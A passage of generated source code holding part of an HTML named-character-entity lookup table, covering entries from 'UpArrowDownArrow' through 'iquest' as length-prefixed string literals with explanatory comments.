			// UpArrowDownArrow;[⇅] UpperRightArrow;[↗] UpperLeftArrow;[↖] UpEquilibrium;[⥮] UpDownArrow;[↕] Updownarrow;[⇕] UpArrowBar;[⤒] UpTeeArrow;[↥] UpArrow;[↑] Uparrow;[⇑] Upsilon;[Υ] UpTee;[⊥] Upsi;[ϒ].
			"\x0fArrowDownArrow;\x03⇅\x0eperRightArrow;\x03↗\x0dperLeftArrow;\x03↖\x0cEquilibrium;\x03⥮\x0aDownArrow;\x03↕\x0adownarrow;\x03⇕\x09ArrowBar;\x03⤒\x09TeeArrow;\x03↥\x06Arrow;\x03↑\x06arrow;\x03⇑\x06silon;\x02Υ\x04Tee;\x03⊥\x03si;\x02ϒ",
			// Uring;[Ů].
			"\x04ing;\x02Ů",
			// Uscr;[𝒰].
			"\x03cr;\x04𝒰",
			// Utilde;[Ũ].
			"\x05ilde;\x02Ũ",
			// Uuml;[Ü] Uuml[Ü].
			"\x03ml;\x02Ü\x02ml\x02Ü",
			// VDash;[⊫].
			"\x04ash;\x03⊫",
			// Vbar;[⫫].
			"\x03ar;\x03⫫",
			// Vcy;[В].
			"\x02y;\x02В",
			// Vdashl;[⫦] Vdash;[⊩].
			"\x05ashl;\x03⫦\x04ash;\x03⊩",
			// VerticalSeparator;[❘] VerticalTilde;[≀] VeryThinSpace;[ ] VerticalLine;[|] VerticalBar;[∣] Verbar;[‖] Vert;[‖] Vee;[⋁].
			"\x10rticalSeparator;\x03❘\x0crticalTilde;\x03≀\x0cryThinSpace;\x03 \x0brticalLine;\x01|\x0articalBar;\x03∣\x05rbar;\x03‖\x03rt;\x03‖\x02e;\x03⋁",
			// Vfr;[𝔙].
			"\x02r;\x04𝔙",
			// Vopf;[𝕍].
			"\x03pf;\x04𝕍",
			// Vscr;[𝒱].
			"\x03cr;\x04𝒱",
			// Vvdash;[⊪].
			"\x05dash;\x03⊪",
			// Wcirc;[Ŵ].
			"\x04irc;\x02Ŵ",
			// Wedge;[⋀].
			"\x04dge;\x03⋀",
			// Wfr;[𝔚].
			"\x02r;\x04𝔚",
			// Wopf;[𝕎].
			"\x03pf;\x04𝕎",
			// Wscr;[𝒲].
			"\x03cr;\x04𝒲",
			// Xfr;[𝔛].
			"\x02r;\x04𝔛",
			// Xi;[Ξ].
			"\x01;\x02Ξ",
			// Xopf;[𝕏].
			"\x03pf;\x04𝕏",
			// Xscr;[𝒳].
			"\x03cr;\x04𝒳",
			// YAcy;[Я].
			"\x03cy;\x02Я",
			// YIcy;[Ї].
			"\x03cy;\x02Ї",
			// YUcy;[Ю].
			"\x03cy;\x02Ю",
			// Yacute;[Ý] Yacute[Ý].
			"\x05cute;\x02Ý\x04cute\x02Ý",
			// Ycirc;[Ŷ] Ycy;[Ы].
			"\x04irc;\x02Ŷ\x02y;\x02Ы",
			// Yfr;[𝔜].
			"\x02r;\x04𝔜",
			// Yopf;[𝕐].
			"\x03pf;\x04𝕐",
			// Yscr;[𝒴].
			"\x03cr;\x04𝒴",
			// Yuml;[Ÿ].
			"\x03ml;\x02Ÿ",
			// ZHcy;[Ж].
			"\x03cy;\x02Ж",
			// Zacute;[Ź].
			"\x05cute;\x02Ź",
			// Zcaron;[Ž] Zcy;[З].
			"\x05aron;\x02Ž\x02y;\x02З",
			// Zdot;[Ż].
			"\x03ot;\x02Ż",
			// ZeroWidthSpace;[​] Zeta;[Ζ].
			"\x0droWidthSpace;\x03​\x03ta;\x02Ζ",
			// Zfr;[ℨ].
			"\x02r;\x03ℨ",
			// Zopf;[ℤ].
			"\x03pf;\x03ℤ",
			// Zscr;[𝒵].
			"\x03cr;\x04𝒵",
			// aacute;[á] aacute[á].
			"\x05cute;\x02á\x04cute\x02á",
			// abreve;[ă].
			"\x05reve;\x02ă",
			// acirc;[â] acute;[´] acirc[â] acute[´] acE;[∾̳] acd;[∿] acy;[а] ac;[∾].
			"\x04irc;\x02â\x04ute;\x02´\x03irc\x02â\x03ute\x02´\x02E;\x05∾̳\x02d;\x03∿\x02y;\x02а\x01;\x03∾",
			// aelig;[æ] aelig[æ].
			"\x04lig;\x02æ\x03lig\x02æ",
			// afr;[𝔞] af;[⁡].
			"\x02r;\x04𝔞\x01;\x03⁡",
			// agrave;[à] agrave[à].
			"\x05rave;\x02à\x04rave\x02à",
			// alefsym;[ℵ] aleph;[ℵ] alpha;[α].
			"\x06efsym;\x03ℵ\x04eph;\x03ℵ\x04pha;\x02α",
			// amacr;[ā] amalg;[⨿] amp;[&] amp[&].
			"\x04acr;\x02ā\x04alg;\x03⨿\x02p;\x01&\x01p\x01&",
			// andslope;[⩘] angmsdaa;[⦨] angmsdab;[⦩] angmsdac;[⦪] angmsdad;[⦫] angmsdae;[⦬] angmsdaf;[⦭] angmsdag;[⦮] angmsdah;[⦯] angrtvbd;[⦝] angrtvb;[⊾] angzarr;[⍼] andand;[⩕] angmsd;[∡] angsph;[∢] angle;[∠] angrt;[∟] angst;[Å] andd;[⩜] andv;[⩚] ange;[⦤] and;[∧] ang;[∠].
			"\x07dslope;\x03⩘\x07gmsdaa;\x03⦨\x07gmsdab;\x03⦩\x07gmsdac;\x03⦪\x07gmsdad;\x03⦫\x07gmsdae;\x03⦬\x07gmsdaf;\x03⦭\x07gmsdag;\x03⦮\x07gmsdah;\x03⦯\x07grtvbd;\x03⦝\x06grtvb;\x03⊾\x06gzarr;\x03⍼\x05dand;\x03⩕\x05gmsd;\x03∡\x05gsph;\x03∢\x04gle;\x03∠\x04grt;\x03∟\x04gst;\x02Å\x03dd;\x03⩜\x03dv;\x03⩚\x03ge;\x03⦤\x02d;\x03∧\x02g;\x03∠",
			// aogon;[ą] aopf;[𝕒].
			"\x04gon;\x02ą\x03pf;\x04𝕒",
			// approxeq;[≊] apacir;[⩯] approx;[≈] apid;[≋] apos;['] apE;[⩰] ape;[≊] ap;[≈].
			"\x07proxeq;\x03≊\x05acir;\x03⩯\x05prox;\x03≈\x03id;\x03≋\x03os;\x01'\x02E;\x03⩰\x02e;\x03≊\x01;\x03≈",
			// aring;[å] aring[å].
			"\x04ing;\x02å\x03ing\x02å",
			// asympeq;[≍] asymp;[≈] ascr;[𝒶] ast;[*].
			"\x06ympeq;\x03≍\x04ymp;\x03≈\x03cr;\x04𝒶\x02t;\x01*",
			// atilde;[ã] atilde[ã].
			"\x05ilde;\x02ã\x04ilde\x02ã",
			// auml;[ä] auml[ä].
			"\x03ml;\x02ä\x02ml\x02ä",
			// awconint;[∳] awint;[⨑].
			"\x07conint;\x03∳\x04int;\x03⨑",
			// bNot;[⫭].
			"\x03ot;\x03⫭",
			// backepsilon;[϶] backprime;[‵] backsimeq;[⋍] backcong;[≌] barwedge;[⌅] backsim;[∽] barvee;[⊽] barwed;[⌅].
			"\x0ackepsilon;\x02϶\x08ckprime;\x03‵\x08cksimeq;\x03⋍\x07ckcong;\x03≌\x07rwedge;\x03⌅\x06cksim;\x03∽\x05rvee;\x03⊽\x05rwed;\x03⌅",
			// bbrktbrk;[⎶] bbrk;[⎵].
			"\x07rktbrk;\x03⎶\x03rk;\x03⎵",
			// bcong;[≌] bcy;[б].
			"\x04ong;\x03≌\x02y;\x02б",
			// bdquo;[„].
			"\x04quo;\x03„",
			// because;[∵] bemptyv;[⦰] between;[≬] becaus;[∵] bernou;[ℬ] bepsi;[϶] beta;[β] beth;[ℶ].
			"\x06cause;\x03∵\x06mptyv;\x03⦰\x06tween;\x03≬\x05caus;\x03∵\x05rnou;\x03ℬ\x04psi;\x02϶\x03ta;\x02β\x03th;\x03ℶ",
			// bfr;[𝔟].
			"\x02r;\x04𝔟",
			// bigtriangledown;[▽] bigtriangleup;[△] bigotimes;[⨂] bigoplus;[⨁] bigsqcup;[⨆] biguplus;[⨄] bigwedge;[⋀] bigcirc;[◯] bigodot;[⨀] bigstar;[★] bigcap;[⋂] bigcup;[⋃] bigvee;[⋁].
			"\x0egtriangledown;\x03▽\x0cgtriangleup;\x03△\x08gotimes;\x03⨂\x07goplus;\x03⨁\x07gsqcup;\x03⨆\x07guplus;\x03⨄\x07gwedge;\x03⋀\x06gcirc;\x03◯\x06godot;\x03⨀\x06gstar;\x03★\x05gcap;\x03⋂\x05gcup;\x03⋃\x05gvee;\x03⋁",
			// bkarow;[⤍].
			"\x05arow;\x03⤍",
			// blacktriangleright;[▸] blacktriangledown;[▾] blacktriangleleft;[◂] blacktriangle;[▴] blacklozenge;[⧫] blacksquare;[▪] blank;[␣] blk12;[▒] blk14;[░] blk34;[▓] block;[█].
			"\x11acktriangleright;\x03▸\x10acktriangledown;\x03▾\x10acktriangleleft;\x03◂\x0cacktriangle;\x03▴\x0backlozenge;\x03⧫\x0aacksquare;\x03▪\x04ank;\x03␣\x04k12;\x03▒\x04k14;\x03░\x04k34;\x03▓\x04ock;\x03█",
			// bnequiv;[≡⃥] bnot;[⌐] bne;[=⃥].
			"\x06equiv;\x06≡⃥\x03ot;\x03⌐\x02e;\x04=⃥",
			// boxminus;[⊟] boxtimes;[⊠] boxplus;[⊞] bottom;[⊥] bowtie;[⋈] boxbox;[⧉] boxDL;[╗] boxDR;[╔] boxDl;[╖] boxDr;[╓] boxHD;[╦] boxHU;[╩] boxHd;[╤] boxHu;[╧] boxUL;[╝] boxUR;[╚] boxUl;[╜] boxUr;[╙] boxVH;[╬] boxVL;[╣] boxVR;[╠] boxVh;[╫] boxVl;[╢] boxVr;[╟] boxdL;[╕] boxdR;[╒] boxdl;[┐] boxdr;[┌] boxhD;[╥] boxhU;[╨] boxhd;[┬] boxhu;[┴] boxuL;[╛] boxuR;[╘] boxul;[┘] boxur;[└] boxvH;[╪] boxvL;[╡] boxvR;[╞] boxvh;[┼] boxvl;[┤] boxvr;[├] bopf;[𝕓] boxH;[═] boxV;[║] boxh;[─] boxv;[│] bot;[⊥].
			"\x07xminus;\x03⊟\x07xtimes;\x03⊠\x06xplus;\x03⊞\x05ttom;\x03⊥\x05wtie;\x03⋈\x05xbox;\x03⧉\x04xDL;\x03╗\x04xDR;\x03╔\x04xDl;\x03╖\x04xDr;\x03╓\x04xHD;\x03╦\x04xHU;\x03╩\x04xHd;\x03╤\x04xHu;\x03╧\x04xUL;\x03╝\x04xUR;\x03╚\x04xUl;\x03╜\x04xUr;\x03╙\x04xVH;\x03╬\x04xVL;\x03╣\x04xVR;\x03╠\x04xVh;\x03╫\x04xVl;\x03╢\x04xVr;\x03╟\x04xdL;\x03╕\x04xdR;\x03╒\x04xdl;\x03┐\x04xdr;\x03┌\x04xhD;\x03╥\x04xhU;\x03╨\x04xhd;\x03┬\x04xhu;\x03┴\x04xuL;\x03╛\x04xuR;\x03╘\x04xul;\x03┘\x04xur;\x03└\x04xvH;\x03╪\x04xvL;\x03╡\x04xvR;\x03╞\x04xvh;\x03┼\x04xvl;\x03┤\x04xvr;\x03├\x03pf;\x04𝕓\x03xH;\x03═\x03xV;\x03║\x03xh;\x03─\x03xv;\x03│\x02t;\x03⊥",
			// bprime;[‵].
			"\x05rime;\x03‵",
			// brvbar;[¦] breve;[˘] brvbar[¦].
			"\x05vbar;\x02¦\x04eve;\x02˘\x04vbar\x02¦",
			// bsolhsub;[⟈] bsemi;[⁏] bsime;[⋍] bsolb;[⧅] bscr;[𝒷] bsim;[∽] bsol;[\\].
			"\x07olhsub;\x03⟈\x04emi;\x03⁏\x04ime;\x03⋍\x04olb;\x03⧅\x03cr;\x04𝒷\x03im;\x03∽\x03ol;\x01\\",
			// bullet;[•] bumpeq;[≏] bumpE;[⪮] bumpe;[≏] bull;[•] bump;[≎].
			"\x05llet;\x03•\x05mpeq;\x03≏\x04mpE;\x03⪮\x04mpe;\x03≏\x03ll;\x03•\x03mp;\x03≎",
			// capbrcup;[⩉] cacute;[ć] capand;[⩄] capcap;[⩋] capcup;[⩇] capdot;[⩀] caret;[⁁] caron;[ˇ] caps;[∩︀] cap;[∩].
			"\x07pbrcup;\x03⩉\x05cute;\x02ć\x05pand;\x03⩄\x05pcap;\x03⩋\x05pcup;\x03⩇\x05pdot;\x03⩀\x04ret;\x03⁁\x04ron;\x02ˇ\x03ps;\x06∩︀\x02p;\x03∩",
			// ccupssm;[⩐] ccaron;[č] ccedil;[ç] ccaps;[⩍] ccedil[ç] ccirc;[ĉ] ccups;[⩌].
			"\x06upssm;\x03⩐\x05aron;\x02č\x05edil;\x02ç\x04aps;\x03⩍\x04edil\x02ç\x04irc;\x02ĉ\x04ups;\x03⩌",
			// cdot;[ċ].
			"\x03ot;\x02ċ",
			// centerdot;[·] cemptyv;[⦲] cedil;[¸] cedil[¸] cent;[¢] cent[¢].
			"\x08nterdot;\x02·\x06mptyv;\x03⦲\x04dil;\x02¸\x03dil\x02¸\x03nt;\x02¢\x02nt\x02¢",
			// cfr;[𝔠].
			"\x02r;\x04𝔠",
			// checkmark;[✓] check;[✓] chcy;[ч] chi;[χ].
			"\x08eckmark;\x03✓\x04eck;\x03✓\x03cy;\x02ч\x02i;\x02χ",
			// circlearrowright;[↻] circlearrowleft;[↺] circledcirc;[⊚] circleddash;[⊝] circledast;[⊛] circledR;[®] circledS;[Ⓢ] cirfnint;[⨐] cirscir;[⧂] circeq;[≗] cirmid;[⫯] cirE;[⧃] circ;[ˆ] cire;[≗] cir;[○].
			"\x0frclearrowright;\x03↻\x0erclearrowleft;\x03↺\x0arcledcirc;\x03⊚\x0arcleddash;\x03⊝\x09rcledast;\x03⊛\x07rcledR;\x02®\x07rcledS;\x03Ⓢ\x07rfnint;\x03⨐\x06rscir;\x03⧂\x05rceq;\x03≗\x05rmid;\x03⫯\x03rE;\x03⧃\x03rc;\x02ˆ\x03re;\x03≗\x02r;\x03○",
			// clubsuit;[♣] clubs;[♣].
			"\x07ubsuit;\x03♣\x04ubs;\x03♣",
			// complement;[∁] complexes;[ℂ] coloneq;[≔] congdot;[⩭] colone;[≔] commat;[@] compfn;[∘] conint;[∮] coprod;[∐] copysr;[℗] colon;[:] comma;[,] comp;[∁] cong;[≅] copf;[𝕔] copy;[©] copy[©].
			"\x09mplement;\x03∁\x08mplexes;\x03ℂ\x06loneq;\x03≔\x06ngdot;\x03⩭\x05lone;\x03≔\x05mmat;\x01@\x05mpfn;\x03∘\x05nint;\x03∮\x05prod;\x03∐\x05pysr;\x03℗\x04lon;\x01:\x04mma;\x01,\x03mp;\x03∁\x03ng;\x03≅\x03pf;\x04𝕔\x03py;\x02©\x02py\x02©",
			// crarr;[↵] cross;[✗].
			"\x04arr;\x03↵\x04oss;\x03✗",
			// csube;[⫑] csupe;[⫒] cscr;[𝒸] csub;[⫏] csup;[⫐].
			"\x04ube;\x03⫑\x04upe;\x03⫒\x03cr;\x04𝒸\x03ub;\x03⫏\x03up;\x03⫐",
			// ctdot;[⋯].
			"\x04dot;\x03⋯",
			// curvearrowright;[↷] curvearrowleft;[↶] curlyeqprec;[⋞] curlyeqsucc;[⋟] curlywedge;[⋏] cupbrcap;[⩈] curlyvee;[⋎] cudarrl;[⤸] cudarrr;[⤵] cularrp;[⤽] curarrm;[⤼] cularr;[↶] cupcap;[⩆] cupcup;[⩊] cupdot;[⊍] curarr;[↷] curren;[¤] cuepr;[⋞] cuesc;[⋟] cupor;[⩅] curren[¤] cuvee;[⋎] cuwed;[⋏] cups;[∪︀] cup;[∪].
			"\x0ervearrowright;\x03↷\x0drvearrowleft;\x03↶\x0arlyeqprec;\x03⋞\x0arlyeqsucc;\x03⋟\x09rlywedge;\x03⋏\x07pbrcap;\x03⩈\x07rlyvee;\x03⋎\x06darrl;\x03⤸\x06darrr;\x03⤵\x06larrp;\x03⤽\x06rarrm;\x03⤼\x05larr;\x03↶\x05pcap;\x03⩆\x05pcup;\x03⩊\x05pdot;\x03⊍\x05rarr;\x03↷\x05rren;\x02¤\x04epr;\x03⋞\x04esc;\x03⋟\x04por;\x03⩅\x04rren\x02¤\x04vee;\x03⋎\x04wed;\x03⋏\x03ps;\x06∪︀\x02p;\x03∪",
			// cwconint;[∲] cwint;[∱].
			"\x07conint;\x03∲\x04int;\x03∱",
			// cylcty;[⌭].
			"\x05lcty;\x03⌭",
			// dArr;[⇓].
			"\x03rr;\x03⇓",
			// dHar;[⥥].
			"\x03ar;\x03⥥",
			// dagger;[†] daleth;[ℸ] dashv;[⊣] darr;[↓] dash;[‐].
			"\x05gger;\x03†\x05leth;\x03ℸ\x04shv;\x03⊣\x03rr;\x03↓\x03sh;\x03‐",
			// dbkarow;[⤏] dblac;[˝].
			"\x06karow;\x03⤏\x04lac;\x02˝",
			// dcaron;[ď] dcy;[д].
			"\x05aron;\x02ď\x02y;\x02д",
			// ddagger;[‡] ddotseq;[⩷] ddarr;[⇊] dd;[ⅆ].
			"\x06agger;\x03‡\x06otseq;\x03⩷\x04arr;\x03⇊\x01;\x03ⅆ",
			// demptyv;[⦱] delta;[δ] deg;[°] deg[°].
			"\x06mptyv;\x03⦱\x04lta;\x02δ\x02g;\x02°\x01g\x02°",
			// dfisht;[⥿] dfr;[𝔡].
			"\x05isht;\x03⥿\x02r;\x04𝔡",
			// dharl;[⇃] dharr;[⇂].
			"\x04arl;\x03⇃\x04arr;\x03⇂",
			// divideontimes;[⋇] diamondsuit;[♦] diamond;[⋄] digamma;[ϝ] divide;[÷] divonx;[⋇] diams;[♦] disin;[⋲] divide[÷] diam;[⋄] die;[¨] div;[÷].
			"\x0cvideontimes;\x03⋇\x0aamondsuit;\x03♦\x06amond;\x03⋄\x06gamma;\x02ϝ\x05vide;\x02÷\x05vonx;\x03⋇\x04ams;\x03♦\x04sin;\x03⋲\x04vide\x02÷\x03am;\x03⋄\x02e;\x02¨\x02v;\x02÷",
			// djcy;[ђ].
			"\x03cy;\x02ђ",
			// dlcorn;[⌞] dlcrop;[⌍].
			"\x05corn;\x03⌞\x05crop;\x03⌍",
			// downharpoonright;[⇂] downharpoonleft;[⇃] doublebarwedge;[⌆] downdownarrows;[⇊] dotsquare;[⊡] downarrow;[↓] doteqdot;[≑] dotminus;[∸] dotplus;[∔] dollar;[$] doteq;[≐] dopf;[𝕕] dot;[˙].
			"\x0fwnharpoonright;\x03⇂\x0ewnharpoonleft;\x03⇃\x0dublebarwedge;\x03⌆\x0dwndownarrows;\x03⇊\x08tsquare;\x03⊡\x08wnarrow;\x03↓\x07teqdot;\x03≑\x07tminus;\x03∸\x06tplus;\x03∔\x05llar;\x01$\x04teq;\x03≐\x03pf;\x04𝕕\x02t;\x02˙",
			// drbkarow;[⤐] drcorn;[⌟] drcrop;[⌌].
			"\x07bkarow;\x03⤐\x05corn;\x03⌟\x05crop;\x03⌌",
			// dstrok;[đ] dscr;[𝒹] dscy;[ѕ] dsol;[⧶].
			"\x05trok;\x02đ\x03cr;\x04𝒹\x03cy;\x02ѕ\x03ol;\x03⧶",
			// dtdot;[⋱] dtrif;[▾] dtri;[▿].
			"\x04dot;\x03⋱\x04rif;\x03▾\x03ri;\x03▿",
			// duarr;[⇵] duhar;[⥯].
			"\x04arr;\x03⇵\x04har;\x03⥯",
			// dwangle;[⦦].
			"\x06angle;\x03⦦",
			// dzigrarr;[⟿] dzcy;[џ].
			"\x07igrarr;\x03⟿\x03cy;\x02џ",
			// eDDot;[⩷] eDot;[≑].
			"\x04Dot;\x03⩷\x03ot;\x03≑",
			// eacute;[é] easter;[⩮] eacute[é].
			"\x05cute;\x02é\x05ster;\x03⩮\x04cute\x02é",
			// ecaron;[ě] ecolon;[≕] ecirc;[ê] ecir;[≖] ecirc[ê] ecy;[э].
			"\x05aron;\x02ě\x05olon;\x03≕\x04irc;\x02ê\x03ir;\x03≖\x03irc\x02ê\x02y;\x02э",
			// edot;[ė].
			"\x03ot;\x02ė",
			// ee;[ⅇ].
			"\x01;\x03ⅇ",
			// efDot;[≒] efr;[𝔢].
			"\x04Dot;\x03≒\x02r;\x04𝔢",
			// egrave;[è] egsdot;[⪘] egrave[è] egs;[⪖] eg;[⪚].
			"\x05rave;\x02è\x05sdot;\x03⪘\x04rave\x02è\x02s;\x03⪖\x01;\x03⪚",
			// elinters;[⏧] elsdot;[⪗] ell;[ℓ] els;[⪕] el;[⪙].
			"\x07inters;\x03⏧\x05sdot;\x03⪗\x02l;\x03ℓ\x02s;\x03⪕\x01;\x03⪙",
			// emptyset;[∅] emptyv;[∅] emsp13;[ ] emsp14;[ ] emacr;[ē] empty;[∅] emsp;[ ].
			"\x07ptyset;\x03∅\x05ptyv;\x03∅\x05sp13;\x03 \x05sp14;\x03 \x04acr;\x02ē\x04pty;\x03∅\x03sp;\x03 ",
			// ensp;[ ] eng;[ŋ].
			"\x03sp;\x03 \x02g;\x02ŋ",
			// eogon;[ę] eopf;[𝕖].
			"\x04gon;\x02ę\x03pf;\x04𝕖",
			// epsilon;[ε] eparsl;[⧣] eplus;[⩱] epsiv;[ϵ] epar;[⋕] epsi;[ε].
			"\x06silon;\x02ε\x05arsl;\x03⧣\x04lus;\x03⩱\x04siv;\x02ϵ\x03ar;\x03⋕\x03si;\x02ε",
			// eqslantless;[⪕] eqslantgtr;[⪖] eqvparsl;[⧥] eqcolon;[≕] equivDD;[⩸] eqcirc;[≖] equals;[=] equest;[≟] eqsim;[≂] equiv;[≡].
			"\x0aslantless;\x03⪕\x09slantgtr;\x03⪖\x07vparsl;\x03⧥\x06colon;\x03≕\x06uivDD;\x03⩸\x05circ;\x03≖\x05uals;\x01=\x05uest;\x03≟\x04sim;\x03≂\x04uiv;\x03≡",
			// erDot;[≓] erarr;[⥱].
			"\x04Dot;\x03≓\x04arr;\x03⥱",
			// esdot;[≐] escr;[ℯ] esim;[≂].
			"\x04dot;\x03≐\x03cr;\x03ℯ\x03im;\x03≂",
			// eta;[η] eth;[ð] eth[ð].
			"\x02a;\x02η\x02h;\x02ð\x01h\x02ð",
			// euml;[ë] euro;[€] euml[ë].
			"\x03ml;\x02ë\x03ro;\x03€\x02ml\x02ë",
			// exponentiale;[ⅇ] expectation;[ℰ] exist;[∃] excl;[!].
			"\x0bponentiale;\x03ⅇ\x0apectation;\x03ℰ\x04ist;\x03∃\x03cl;\x01!",
			// fallingdotseq;[≒].
			"\x0cllingdotseq;\x03≒",
			// fcy;[ф].
			"\x02y;\x02ф",
			// female;[♀].
			"\x05male;\x03♀",
			// ffilig;[ffi] ffllig;[ffl] fflig;[ff] ffr;[𝔣].
			"\x05ilig;\x03ffi\x05llig;\x03ffl\x04lig;\x03ff\x02r;\x04𝔣",
			// filig;[fi].
			"\x04lig;\x03fi",
			// fjlig;[fj].
			"\x04lig;\x02fj",
			// fllig;[fl] fltns;[▱] flat;[♭].
			"\x04lig;\x03fl\x04tns;\x03▱\x03at;\x03♭",
			// fnof;[ƒ].
			"\x03of;\x02ƒ",
			// forall;[∀] forkv;[⫙] fopf;[𝕗] fork;[⋔].
			"\x05rall;\x03∀\x04rkv;\x03⫙\x03pf;\x04𝕗\x03rk;\x03⋔",
			// fpartint;[⨍].
			"\x07artint;\x03⨍",
			// frac12;[½] frac13;[⅓] frac14;[¼] frac15;[⅕] frac16;[⅙] frac18;[⅛] frac23;[⅔] frac25;[⅖] frac34;[¾] frac35;[⅗] frac38;[⅜] frac45;[⅘] frac56;[⅚] frac58;[⅝] frac78;[⅞] frac12[½] frac14[¼] frac34[¾] frasl;[⁄] frown;[⌢].
			"\x05ac12;\x02½\x05ac13;\x03⅓\x05ac14;\x02¼\x05ac15;\x03⅕\x05ac16;\x03⅙\x05ac18;\x03⅛\x05ac23;\x03⅔\x05ac25;\x03⅖\x05ac34;\x02¾\x05ac35;\x03⅗\x05ac38;\x03⅜\x05ac45;\x03⅘\x05ac56;\x03⅚\x05ac58;\x03⅝\x05ac78;\x03⅞\x04ac12\x02½\x04ac14\x02¼\x04ac34\x02¾\x04asl;\x03⁄\x04own;\x03⌢",
			// fscr;[𝒻].
			"\x03cr;\x04𝒻",
			// gEl;[⪌] gE;[≧].
			"\x02l;\x03⪌\x01;\x03≧",
			// gacute;[ǵ] gammad;[ϝ] gamma;[γ] gap;[⪆].
			"\x05cute;\x02ǵ\x05mmad;\x02ϝ\x04mma;\x02γ\x02p;\x03⪆",
			// gbreve;[ğ].
			"\x05reve;\x02ğ",
			// gcirc;[ĝ] gcy;[г].
			"\x04irc;\x02ĝ\x02y;\x02г",
			// gdot;[ġ].
			"\x03ot;\x02ġ",
			// geqslant;[⩾] gesdotol;[⪄] gesdoto;[⪂] gesdot;[⪀] gesles;[⪔] gescc;[⪩] geqq;[≧] gesl;[⋛︀] gel;[⋛] geq;[≥] ges;[⩾] ge;[≥].
			"\x07qslant;\x03⩾\x07sdotol;\x03⪄\x06sdoto;\x03⪂\x05sdot;\x03⪀\x05sles;\x03⪔\x04scc;\x03⪩\x03qq;\x03≧\x03sl;\x06⋛︀\x02l;\x03⋛\x02q;\x03≥\x02s;\x03⩾\x01;\x03≥",
			// gfr;[𝔤].
			"\x02r;\x04𝔤",
			// ggg;[⋙] gg;[≫].
			"\x02g;\x03⋙\x01;\x03≫",
			// gimel;[ℷ].
			"\x04mel;\x03ℷ",
			// gjcy;[ѓ].
			"\x03cy;\x02ѓ",
			// glE;[⪒] gla;[⪥] glj;[⪤] gl;[≷].
			"\x02E;\x03⪒\x02a;\x03⪥\x02j;\x03⪤\x01;\x03≷",
			// gnapprox;[⪊] gneqq;[≩] gnsim;[⋧] gnap;[⪊] gneq;[⪈] gnE;[≩] gne;[⪈].
			"\x07approx;\x03⪊\x04eqq;\x03≩\x04sim;\x03⋧\x03ap;\x03⪊\x03eq;\x03⪈\x02E;\x03≩\x02e;\x03⪈",
			// gopf;[𝕘].
			"\x03pf;\x04𝕘",
			// grave;[`].
			"\x04ave;\x01`",
			// gsime;[⪎] gsiml;[⪐] gscr;[ℊ] gsim;[≳].
			"\x04ime;\x03⪎\x04iml;\x03⪐\x03cr;\x03ℊ\x03im;\x03≳",
			// gtreqqless;[⪌] gtrapprox;[⪆] gtreqless;[⋛] gtquest;[⩼] gtrless;[≷] gtlPar;[⦕] gtrarr;[⥸] gtrdot;[⋗] gtrsim;[≳] gtcir;[⩺] gtdot;[⋗] gtcc;[⪧] gt;[>].
			"\x09reqqless;\x03⪌\x08rapprox;\x03⪆\x08reqless;\x03⋛\x06quest;\x03⩼\x06rless;\x03≷\x05lPar;\x03⦕\x05rarr;\x03⥸\x05rdot;\x03⋗\x05rsim;\x03≳\x04cir;\x03⩺\x04dot;\x03⋗\x03cc;\x03⪧\x01;\x01>",
			// gvertneqq;[≩︀] gvnE;[≩︀].
			"\x08ertneqq;\x06≩︀\x03nE;\x06≩︀",
			// hArr;[⇔].
			"\x03rr;\x03⇔",
			// harrcir;[⥈] hairsp;[ ] hamilt;[ℋ] hardcy;[ъ] harrw;[↭] half;[½] harr;[↔].
			"\x06rrcir;\x03⥈\x05irsp;\x03 \x05milt;\x03ℋ\x05rdcy;\x02ъ\x04rrw;\x03↭\x03lf;\x02½\x03rr;\x03↔",
			// hbar;[ℏ].
			"\x03ar;\x03ℏ",
			// hcirc;[ĥ].
			"\x04irc;\x02ĥ",
			// heartsuit;[♥] hearts;[♥] hellip;[…] hercon;[⊹].
			"\x08artsuit;\x03♥\x05arts;\x03♥\x05llip;\x03…\x05rcon;\x03⊹",
			// hfr;[𝔥].
			"\x02r;\x04𝔥",
			// hksearow;[⤥] hkswarow;[⤦].
			"\x07searow;\x03⤥\x07swarow;\x03⤦",
			// hookrightarrow;[↪] hookleftarrow;[↩] homtht;[∻] horbar;[―] hoarr;[⇿] hopf;[𝕙].
			"\x0dokrightarrow;\x03↪\x0cokleftarrow;\x03↩\x05mtht;\x03∻\x05rbar;\x03―\x04arr;\x03⇿\x03pf;\x04𝕙",
			// hslash;[ℏ] hstrok;[ħ] hscr;[𝒽].
			"\x05lash;\x03ℏ\x05trok;\x02ħ\x03cr;\x04𝒽",
			// hybull;[⁃] hyphen;[‐].
			"\x05bull;\x03⁃\x05phen;\x03‐",
			// iacute;[í] iacute[í].
			"\x05cute;\x02í\x04cute\x02í",
			// icirc;[î] icirc[î] icy;[и] ic;[⁣].
			"\x04irc;\x02î\x03irc\x02î\x02y;\x02и\x01;\x03⁣",
			// iexcl;[¡] iecy;[е] iexcl[¡].
			"\x04xcl;\x02¡\x03cy;\x02е\x03xcl\x02¡",
			// iff;[⇔] ifr;[𝔦].
			"\x02f;\x03⇔\x02r;\x04𝔦",
			// igrave;[ì] igrave[ì].
			"\x05rave;\x02ì\x04rave\x02ì",
			// iiiint;[⨌] iinfin;[⧜] iiint;[∭] iiota;[℩] ii;[ⅈ].
			"\x05iint;\x03⨌\x05nfin;\x03⧜\x04int;\x03∭\x04ota;\x03℩\x01;\x03ⅈ",
			// ijlig;[ij].
			"\x04lig;\x02ij",
			// imagline;[ℐ] imagpart;[ℑ] imacr;[ī] image;[ℑ] imath;[ı] imped;[Ƶ] imof;[⊷].
			"\x07agline;\x03ℐ\x07agpart;\x03ℑ\x04acr;\x02ī\x04age;\x03ℑ\x04ath;\x02ı\x04ped;\x02Ƶ\x03of;\x03⊷",
			// infintie;[⧝] integers;[ℤ] intercal;[⊺] intlarhk;[⨗] intprod;[⨼] incare;[℅] inodot;[ı] intcal;[⊺] infin;[∞] int;[∫] in;[∈].
			"\x07fintie;\x03⧝\x07tegers;\x03ℤ\x07tercal;\x03⊺\x07tlarhk;\x03⨗\x06tprod;\x03⨼\x05care;\x03℅\x05odot;\x02ı\x05tcal;\x03⊺\x04fin;\x03∞\x02t;\x03∫\x01;\x03∈",
			// iogon;[į] iocy;[ё] iopf;[𝕚] iota;[ι].
			"\x04gon;\x02į\x03cy;\x02ё\x03pf;\x04𝕚\x03ta;\x02ι",
			// iprod;[⨼].
			"\x04rod;\x03⨼",
			// iquest;[¿] iquest[¿].
			"\x05uest;\x02¿\x04uest\x02¿",
